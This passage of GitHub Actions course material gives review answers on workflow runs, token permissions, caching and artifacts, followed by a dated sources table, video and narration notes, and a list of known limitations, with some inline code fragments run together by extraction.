Event → GitHub reads the workflow from that commit and evaluates on / filters → creates the run, resolves needs and matrix, queues jobs → the runner app claims jobs with matching labels via outbound HTTPS long-polling (a hosted runner starts a new VM for that job) → Set up job (downloads actions, issues GITHUB_TOKEN, starts service containers) → steps run one by one with logs uploaded in real time → post steps save the cache and upload artifacts → job conclusions are written to check runs shown on the PR.
2. Why should CI use pull_request instead of pull_request_target?
pull_request runs PR code with a read-only token and no secrets (for forks), so even malicious code gets no keys; pull_request_target has a write-permission token and secrets, so if it checks out and runs PR code it can be taken over. The latter is only for metadata operations that do not execute PR code.
3. How do service containers connect in the two cases “job runs directly on the runner” and “job runs in a container”?
The former uses localhost:mapped-port through port mapping; the latter uses the service's label name as the hostname in the same user-defined network, with no port mapping needed.
4. if: always() && github.ref == 'refs/heads/main' What problems come with using this in a deploy job?
Once a status function is written, success() is no longer implicit, so deployment happens even when tests fail; always() also runs on cancellation. Use the default success() or explicitly success() && ….
5. What are caches and artifacts each suited for? Why must you not use caches to pass build outputs?
Caches reuse rarely changing dependencies across runs; they are best-effort, can be evicted, and are branch-scoped. Artifacts store this run's outputs, with digest verification, a retention period, and downloadability. Passing outputs via caches may yield old content or content from another branch, and could even be poisoned.
6. You see “Resource not accessible by integration”. What are your troubleshooting steps?
Confirm the scope the operation needs (comments need pull-requests: write, pushes need contents: write) → check the GITHUB_TOKEN Permissions printed by Set up job → check whether workflow or job-level permissions overrode something missing → is it a fork PR or Dependabot (read-only at most) → is it operating on another repository (needs a GitHub App token) → is the organization or enterprise locking it to read-only.
Final quiz (12 questions, covering all modules)
Sources and version notes
| Topic | Verified conclusion | Source (accessed 2026-11-15) |
|---|---|---|
| Hosted runner labels and specs | Public repository Linux / Windows x64 and arm64 runners have 4 vCPU / 16 GB / 14 GB SSD; private repositories have 2 vCPU / 8 GB; ubuntu-slim 1 vCPU / 5 GB (15-minute timeout); macOS arm64 (M1) 3 vCPU / 7 GB, Intel 4 vCPU / 14 GB; labels include ubuntu-24.04/22.04/26.04 (and -arm), windows-2025/2022, windows-11-arm, macos-15/26 (and -intel); ubuntu-latest→24.04,windows-latest→2025,macos-latest→macOS 26 (inferred from the link in the docs) | GitHub-hosted runners reference |
| Hosted runner behavior | each job gets a new VM (single-core runners are containers on a shared VM); a job in the queue with no runner picking it up within 45 minutes is discarded; the image manifest is in actions/runner-images | About GitHub-hosted runners |
| Events | schedule: UTC by default, supports timezone (IANA), minimum 5 minutes, may be delayed under high load, runs only on the default branch, disabled after 60 days without activity in public repositories; workflow_run: the file must be on the default branch, up to 3 levels; pull_request_target runs in the base default-branch context; fork PR tokens are read-only and do not pass secrets; repository_dispatch payload limits; events triggered by GITHUB_TOKEN do not create runs (dispatch excepted) | Events that trigger workflows |
| Workflow syntax | concurrency support queue: single|max (max: up to 100 pending, cannot be used with cancel-in-progress: true); the list of permission scopes and “writing one makes the rest none”; defaults does not support expressions; job default timeout 360 minutes; matrix limit 256; job outputs 1 MB / run 50 MB; two network modes for service containers; GITHUB_TOKEN lasts up to 24 hours | Workflow syntax · Changelog 2026-05-07 |
| GITHUB_TOKEN | scoped to the current repository; hosted runner tokens expire at the latest when the job ends (6 hours), self-hosted ones can refresh up to 24 hours; opened / synchronize / reopened runs of PRs created by GITHUB_TOKEN require approval | GITHUB_TOKEN |
| Dependency caching | 10 GB per repository by default (can be expanded, billed beyond that); deleted after 7 days without access; scope: current branch / default branch / PR base branch; restore-keys order and “take the newest”; caches are immutable; uploads 200 per minute, downloads 1,500 per minute; cache version includes the path and compression tool | Dependency caching reference |
| Cache access control (2026) | events that can be triggered without write permission get a read-only cache token (2026-06); workflow / job-level cache-mode: read / write / write-only / none (2026-09-10) | Changelog 2026-06-26 · Changelog 2026-09-10 |
| actions/cache | v6.1.0 (Latest); v6.0.0 migrated to ESM; from v5, node24 and runner ≥ 2.327.1 required; v6.1.0 handles read-only cache access | actions/cache releases |
| upload-artifact | v7.0.2 (latest); v7.0.0 added archive: false single-file direct upload (name ignored; multi-file matches fail), migrated to ESM; v6 defaults to node24 | upload-artifact releases |
| download-artifact | v8.0.2 (latest); v8.0.0 hash mismatch fails by default (digest-mismatch: error), non-zip artifacts are no longer extracted, added skip-decompress; v7 defaults to node24 (runner ≥ 2.327.1); v5 download by ID extracts directly into path | download-artifact releases |
| Other action versions | actions/checkout v7.0.1 (since v7.0.0, checking out fork PRs under pull_request_target / workflow_run is blocked), setup-python v7.1.0, dorny/paths-filter v4.0.3 | Verified facts from the same-repository course writing guidelines (2026-11-15, sourced from each Action's GitHub Releases) |
| Parallel steps (for awareness) | From 2026-06-25, steps support background / wait / parallel, with up to 10 concurrent background steps per job; not covered in this lesson | Changelog 2026-06-25 |
| Supply chain incident | tj-actions/changed-files tags were repointed (CVE-2025-30066, 2025-03-14/15, fixed in 46.0.1) | GHSA-mrrh-fwg8-r2c3 |
Video verification notes
The following videos were verified through the YouTube oEmbed API (2026-11-15) to confirm that title, channel and video ID match: TechWorld with Nana, “GitHub Actions Tutorial - Basic Concepts and CI/CD Pipeline with Docker” (R8_veQiYBjI); GitHub, “GitHub Actions - Supercharge your GitHub Flow” (cP0I9w2coGU); DevOps Directive, “Complete GitHub Actions Course - From BEGINNER to PRO” (Xwpi0ITkL3U); DevOps Journey, “Github Actions CI/CD - Everything you need to know to get started” (mFFXuXjVgkU); CoderDave, “GitHub Actions Tutorial | From Zero to Hero in 90 minutes (Environments, Secrets, Runners, etc)” (TLB5MY9BBa4); freeCodeCamp.org, “GitHub Actions Certification – Full Course to PASS the Exam” (Tz7FsunBbfQ); Fireship, “5 Ways to DevOps-ify your App - Github Actions Tutorial” (eB0nUzAI7M8); Tom Shaw, “CI/CD Tutorial using GitHub Actions - Automated Testing & Automated Deployments” (YLtlz88zrLg). oEmbed does not return durations or publish dates, so the cards do not list specific durations or years. No verified dedicated videos were found for service containers, if-expression pitfalls, matrix and concurrency, the new caching and artifact behavior, or GITHUB_TOKEN least privilege, so storyboards are provided instead. All videos are in English and were recorded before the Action versions used in this lesson; for versions and new features, follow this lesson and the official docs.
Voice narration notes
The “Voice” tab uses the browser's Web Speech API (speechSynthesis, en-US) to read the narration script aloud in real time, with English terms pronounced in en-US. The result depends on the voices installed in the operating system (for example Windows “Microsoft Xiaoxiao/Yunxi” or macOS “Tingting”). This course-material generation environment cannot call a TTS service, so no MP3 is embedded; for offline audio, hand the narration script to a TTS service.
Known limitations
- Run IDs, runner names, image versions, durations, hashes and times in the “expected output” sections are sample values; your actual runs prevail. The runner application version is written as
2.3xx.xmeans it is updated at any time. -latestThe labels' targets change with GitHub's migration plans;macos-latestpointing to macOS 26 is inferred from the links in the official table; follow the Runner Image shown in run logs.- The description of runners claiming jobs via outbound HTTPS long-polling is based on the public behavior of the open-source
actions/runnerand the documentation on self-hosted runner communication. GitHub's internal server-side scheduling is not public, so the server-side stages in the animations are conceptual illustrations. queue: maxWhether jobs are handled strictly first in, first out is not promised by the official documentation;cache-modefor the exact YAML syntax of this, follow the latest docs.github.com documentation.- Per-minute prices for private repositories, storage billing and larger runner prices are not listed in this lesson; refer to GitHub's billing documentation (covered in Lesson 7).
- The actionlint example uses
latestlabels for demonstration; in production, pin versions. - Times and counts in the animations and calculators are illustrative values used to explain the mechanisms.